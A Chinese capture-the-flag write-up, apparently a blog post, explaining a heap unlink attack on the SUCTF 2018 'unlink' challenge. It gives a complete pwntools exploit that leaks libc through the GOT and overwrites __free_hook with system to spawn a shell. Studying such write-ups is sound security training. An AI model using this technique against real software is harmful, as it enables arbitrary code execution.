【pwn】[SUCTF 2018 招新赛]unlink --堆利用之unlink

先来看一下程序的保护情况

堆栈不可执行,而且还开了canary

看一下ida

又是经典菜单题,接着分析每一个函数功能就行

touch函数:有一个数组存malloc出来的地址

delete函数:删除堆中的数据,不存在uaf漏洞

show函数:打印堆中数据

take_note函数:向堆中写数据

分析到这里,根据题目的提示,那就用unlink来打,这里有篇博客可以先学习一下:【pwn学习】堆溢出(三)- Unlink和UAF_堆溢出 got表-CSDN博客

首先我们先创建三个堆块

debug看一下

再看看一下存堆地址的数组

接着我们来构造一个fake_chunk

首先我们来一步步看这个过程,我们payload是向第一个堆中写入数据,但是却溢出到了第二个堆中的数据,将第二个堆中的prevsize和size改了

图中第二个框就是第二个堆,可以看到presize和size已经被修改,之所以为什么这么改0x20,是因为是第二个堆地址-0x20确定第一个堆的地址,0x90是为了表示第一个堆已经被free了,触发unlink

,当我们delete(1)时就会将第一个chunk解链,这个过程就是要利用第一个堆的fd和bk指针,这个过程就是fd->bk=bk,bk->fd=fd,其实就是一个双向链表解链操作

我们来看这一步bk->fd=fd,我们知道前面的bk是buf-0x10,所以解链时我们就会到0x6020b中,找到bk_fd指针位置(其实就是距离0x6020b+0x10)的位置,将0x6020c0此处的地址复制成fd(这个fd是我们fakechunk中的fd,即0x6020a8),debug看一下

那这样有什么用呢?首先确定一点,这个地址的值已经被我们控制了,那就可以通过puts函数,将puts函数的地址打印出来,泄露出libc基址,然后将free的plt表修改成system函数,即可达到getshell目的

先来看一下exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

io=process("./pwn")

elf=ELF("./pwn")

#io=remote("node4.anna.nssctf.cn",28319)

def debug():

    gdb.attach(io)

    pause()

def touch(size):

    io.recvuntil(b"please chooice :\n")

    io.sendline(str(1))

    io.recvuntil(b"please input the size : \n")

    io.sendline(str(size))

def delete(index):

    io.recvuntil(b"please chooice :\n")

    io.sendline(str(2))

    io.recvuntil(b"which node do you want to delete\n")

    io.sendline(str(index))

def show(index):

    io.recvuntil(b"please chooice :\n")

    io.sendline(str(3))

    io.recvuntil(b"want to show")

    io.sendline(str(index))

    io.recvuntil(b'is : ')

def take_note(index,content):

    io.sendlineafter(b'chooice :\n',b'4')

    io.sendlineafter(b'modify :\n',str(index).encode())

    io.sendafter(b'content\n',content)

touch(0x20)

touch(0x80)

touch(0x100)    

#debug()

buf=0x6020c0

#fake_chunk

prev_size=p64(0)

chunk_size=p64(0x20)

fd=buf-0x18

bk=buf-0x10

content=p64(fd)+p64(bk)

of_prev_size=p64(0x20)  

of_chunk_size=p64(0x90)

payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size

take_note(0,payload)

delete(1)

debug()

payload=p64(0)*3+p64(0x6020c8)    

take_note(0,payload)             #这里其实是在向0x6020a8中写入数据了

payload=p64(elf.got['puts'])     

take_note(0,payload)            #这里是在向0x6020c8中写入数据

show(1)                                   #打印0x6020c8中的数据

puts_addr=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')  

print(hex(puts_addr))

libc=ELF("./libc-2.23.so")

libc_base=puts_addr-libc.sym['puts']

free_hook=libc_base+libc.sym['__free_hook']

bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))

payload=p64(free_hook)+p64(bin_sh_str)

take_note(0,payload)

system=libc_base+libc.sym['system']

take_note(1,p64(system))

delete(2)

io.interactive()

  • 30
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值